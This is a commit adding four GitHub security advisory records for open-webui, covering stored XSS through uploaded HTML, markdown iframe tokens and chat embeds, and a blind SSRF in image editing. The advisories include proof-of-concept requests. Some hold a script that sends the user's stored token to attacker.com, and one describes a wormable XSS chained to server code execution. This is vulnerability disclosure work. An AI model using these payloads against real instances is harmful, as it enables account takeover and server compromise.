Skip to content

Commit 159dfdc

Browse files
1 parent 8ca142d commit 159dfdc

5 files changed

Lines changed: 341 additions & 0 deletions

File tree

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8gh5-qqh8-hq3x",
4+
"modified": "2026-07-07T16:50:43Z",
5+
"published": "2026-07-07T16:50:43Z",
6+
"aliases": [
7+
"CVE-2025-46571"
8+
],
9+
"summary": "Open WebUI allows limited stored XSS vila uploaded html file",
10+
"details": "### Summary\nLow privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.\n\n### Details\n\nThe following HTTP request can be sent to the backend server to upload a file with the contents:\n`<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>`\n\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n<h1>padding</h1>\n<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nNote the `filename=\"test.html\"` , `Content-Type: text/html`, and `<h1>padding</h`> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `<script>` tag. \n\nThe backend server responds to the above request with JSON data that contains an `id` parameter. \n\n![image](https://github.com/user-attachments/assets/ac15e108-d385-4e58-b29a-eb79aafbffda)\n\nThis ID can be used to view the uploaded file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`\n\nBecause of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.\n\n### PoC\n\nFirst, upload an html containing JavaScript code to the backend server using the following HTTP request:\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n<h1>padding</h1>\n<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nThen copy the `id` from the response and use it to view the file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`\n\n\n### Impact\n\nLow privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "open-webui"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.6.6"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46571"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/open-webui/open-webui"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.6.6"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-79",
67+
"CWE-87"
68+
],
69+
"severity": "MODERATE",
70+
"github_reviewed": true,
71+
"github_reviewed_at": "2026-07-07T16:50:43Z",
72+
"nvd_published_at": "2025-05-05T19:15:57Z"
73+
}
74+
}
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-9f4f-jv96-8766",
4+
"modified": "2026-07-07T16:50:59Z",
5+
"published": "2026-07-07T16:50:59Z",
6+
"aliases": [
7+
"CVE-2025-46719"
8+
],
9+
"summary": "Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions",
10+
"details": "### Summary\n\nA vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if \"Enable Community Sharing\" is enabled in the admin panel.\n\nIf this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code.\n\n**This vulnerability also affects chat transcripts uploaded to `https://openwebui.com/c/<user>/<chat_id>`, allowing for wormable stored XSS in https://openwebui.com**\n\n### Details\n\n### Stored XSS\n\nThe file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code:\n```TypeScript\n\t\t{:else if token.text.includes(`<iframe src=\"${WEBUI_BASE_URL}/api/v1/files/`)}\n\t\t\t{@html `${token.text}`}\n``` \nThat code checks if a chat message has an html tag which contains the text `<iframe src=\"${WEBUI_BASE_URL}/api/v1/files/`, and if so, it renders that html tag using `{@html}`, which is a dangerous Svelte functionality that allows text to be rendered as HTML code.\n\nAttackers can abuse this by sending a chat message with the following payload:\n`<iframe src=\"http://localhost:8080/api/v1/files/\" onload=\"alert(1)\"></iframe>`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted.\n\nThis will cause a JavaScript alert window to be displayed every time that chat transcript is opened.\n\n![image](https://github.com/user-attachments/assets/1e7da1f9-4154-402a-b5f1-4a50a0b4a227)\n![image](https://github.com/user-attachments/assets/f8f463c7-731a-41e0-9e75-c2747639bc5f)\n\nIn a real attack scenario, instead of injecting `alert(1)` in the `onload` attribute, attackers can use the following code to steal the user's access token and send it to a server they control:\n`fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))`\n\nThis is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript.\n\nThen, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking \"Share\"\n\n![image](https://github.com/user-attachments/assets/200e3ab1-36d9-4d0c-a869-dd60ae112fc9)\n\n**If \"Enable Community Sharing\" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed**\n\n![image](https://github.com/user-attachments/assets/b9bab780-5fc2-439c-9875-d08cedadd99b)\n\nThis makes the exploit a **wormable Stored XSS**. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well.\n\n<hr>\n\n### RCE\n\nIf an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server.\n\nThe following HTTP request can be sent to the backend server to execute arbitrary python code.\n\n![image](https://github.com/user-attachments/assets/572a1594-cb39-4232-a834-efe625fd3667)\n![image](https://github.com/user-attachments/assets/c5b34773-759d-4f0d-9ed8-0b5078e24d1f)\n\n\n### PoC\n\nAttackers can abuse this by sending a chat message with the following payload:\n`<iframe src=\"http://localhost:8080/api/v1/files/\" onload=\"alert(1)\"></iframe>`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted.\n\n### Impact\n\nAttackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:P"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "open-webui"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.6.6"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46719"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/open-webui/open-webui/commit/6fd082d55ffaf6eb226efdeebc7155e3693d2d01"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/open-webui/open-webui"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.6.6"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-79"
67+
],
68+
"severity": "HIGH",
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-07-07T16:50:59Z",
71+
"nvd_published_at": "2025-05-05T19:15:57Z"
72+
}
73+
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jgx9-jr5x-mvpv",
4+
"modified": "2026-07-07T16:51:30Z",
5+
"published": "2026-07-07T16:51:30Z",
6+
"aliases": [
7+
"CVE-2026-34225"
8+
],
9+
"summary": "Open WebUI has Blind Server Side Request Forgery in its Image Edit Functionality",
10+
"details": "### Summary\nThere is a blind server side request forgery in the functionality that allows editing an image via a prompt. The affected function will perform a GET request on the URL provided by the user. There is no restriction on the domain of the provided URL allowing the local address space to be interacted with. Since the SSRF is blind (the response cannot be read) impact is port scanning of the local network because it can be confirmed if the port is open based on if the GET request failed.\n\n### Details\nThe vulnerability occurs here:\nhttps://github.com/open-webui/open-webui/blob/2b26355002064228e9b671339f8f3fb9d1fafa73/backend/open_webui/routers/images.py#L850-L916\nLine 911 shows the user provided URL passed to the function `load_url_image`. Within this function on line 883 HTTP/HTTPs URLs are trusted blindly and called asynchronously with `requests.get`. \n\n### PoC\nThe vulnerability can be reproduced with the following curl command:\n```\ncurl -X POST http://localhost:3000/api/v1/images/edit \\\n -H \"Authorization: Bearer <token>\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"form_data\":{\n \"image\": \"<url>\",\n \"prompt\": \"poc\"}\n }'\n```\n\n### Impact\nResponse differentials can be used to port scan the local network:\n<img width=\"3016\" height=\"736\" alt=\"image\" src=\"https://github.com/user-attachments/assets/93b4df52-b23c-4ed7-a5fa-9cbedb30091c\" />\nThis can be automated to iterate through the entire port range to determine open ports. If the service running on an open port can be inferred the user may be able to interact with it in a meaningful way if the service offers any state changing GET request endpoints.\n\n### Remediation\nRestrict provided URLs from local address space.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "open-webui"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "0.7.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jgx9-jr5x-mvpv"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34225"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/open-webui/open-webui"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-918"
55+
],
56+
"severity": "MODERATE",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-07-07T16:51:30Z",
59+
"nvd_published_at": "2026-04-14T02:16:04Z"
60+
}
61+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vjm7-m4xh-7wrc",
4+
"modified": "2026-07-07T16:51:22Z",
5+
"published": "2026-07-07T16:51:22Z",
6+
"aliases": [
7+
"CVE-2026-26193"
8+
],
9+
"summary": "Open WebUI vulnerable to Stored XSS via iFrame embeds in response messages",
10+
"details": "### Summary\nManually modifying chat history allows setting the `embeds` property on a response message, the content of which is loaded into an iFrame with a sandbox that has `allow-scripts` and `allow-same-origin` set, ignoring the \"iframe Sandbox Allow Same Origin\" configuration. This enables stored XSS on the affected chat. This also triggers when the chat is in the shared format. The result is a shareable link containing the payload that can be distributed to any other users on the instance.\n\n### Details\nThe flaw stems from how iFrames are constructed here:\nhttps://github.com/open-webui/open-webui/blob/6f1486ffd0cb288d0e21f41845361924e0d742b3/src/lib/components/chat/Messages/ResponseMessage.svelte#L689-L703\n\n`messages.embeds` is a user controlled property and so can be arbitrarily set by the user to a payload of their choosing. Since `allowScripts` and `allowSameOrigin` are harcoded as true here the sandboxing offers essentially no protection.\n\n### PoC\nCreate an arbitrary chat:\n<img width=\"2468\" height=\"1426\" alt=\"image\" src=\"https://github.com/user-attachments/assets/41e32f5c-3fa7-4208-a71f-85556eec6309\" />\nEdit the model response:\n<img width=\"632\" height=\"192\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b1e79303-360f-46e3-8d6d-3309c3ec30af\" />\n<img width=\"2150\" height=\"434\" alt=\"image\" src=\"https://github.com/user-attachments/assets/78f19d7f-10dc-4e91-83cc-2d4811e58496\" />\nBefore saving, configure the browser to use an HTTP proxy tool (Burp/Caido/ZAP) and intercept the save request. Find the object within the `history` and then `messages` objects (not the `messages` array) that corresponds to the edited text.\n<img width=\"2024\" height=\"1528\" alt=\"image\" src=\"https://github.com/user-attachments/assets/953e5368-8e93-428b-b223-c695eacfe7b9\" />\nOn this object, add an `embeds` key and list value as shown below, forward the request and refresh the page.\n<img width=\"1904\" height=\"1530\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0e56be6f-5513-490e-9961-972bdfbd5d8b\" />\nThis results in XSS via the controlled content getting rendered in the iFrame. Note the bold text is just to aid demonstration. `console.log` is used to prove JS execution because the lack of `allow-modals` on the iFrame sandbox prevents alerts. \n<img width=\"2752\" height=\"1686\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4858f7b3-4e2f-4fab-a5a5-196df26bcdce\" />\nThe same payload triggers when the chat is shared.\n<img width=\"2730\" height=\"1426\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee88b538-9781-4276-b681-9953974b826d\" />\n\n### Impact\nAny user can create a weaponised chat that can be shared and subsequently used to target other users.\n\nLow privilege users are at risk of having their session taken over by a payload that reads their token from local storage and exfiltrates it to an attacker controlled server.\n\nAdmins are at risk of exposing the server to RCE via same chain described in GHSA-w7xj-8fx7-wfch.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "open-webui"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.6.44"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.6.43"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vjm7-m4xh-7wrc"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26193"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/open-webui/open-webui"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/open-webui/open-webui/blob/6f1486ffd0cb288d0e21f41845361924e0d742b3/src/lib/components/chat/Messages/ResponseMessage.svelte#L689-L703"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-79"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-07-07T16:51:22Z",
66+
"nvd_published_at": "2026-02-19T20:25:42Z"
67+
}
68+
}

0 commit comments

Comments
 (0)